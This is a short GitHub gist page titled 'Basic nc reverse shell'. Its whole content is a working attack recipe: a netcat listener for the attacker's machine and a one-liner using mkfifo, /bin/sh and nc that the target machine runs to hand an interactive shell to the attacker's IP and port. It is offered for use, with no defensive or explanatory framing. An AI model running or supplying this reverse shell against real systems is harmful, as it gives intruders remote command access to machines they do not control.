Created
January 23, 2017 12:37
-
-
Save framp/bc4855edc632972f85d345baf6950aff to your computer and use it in GitHub Desktop.
Basic nc reverse shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
YOURIP=10.0.0.1 | |
PORT=4444 | |
On your machine: | |
nc -l $PORT | |
Paste this: | |
echo "Any command" | |
Execute this on the target machine: | |
rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b | nc $YOURIP $PORT 1>/tmp/b |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment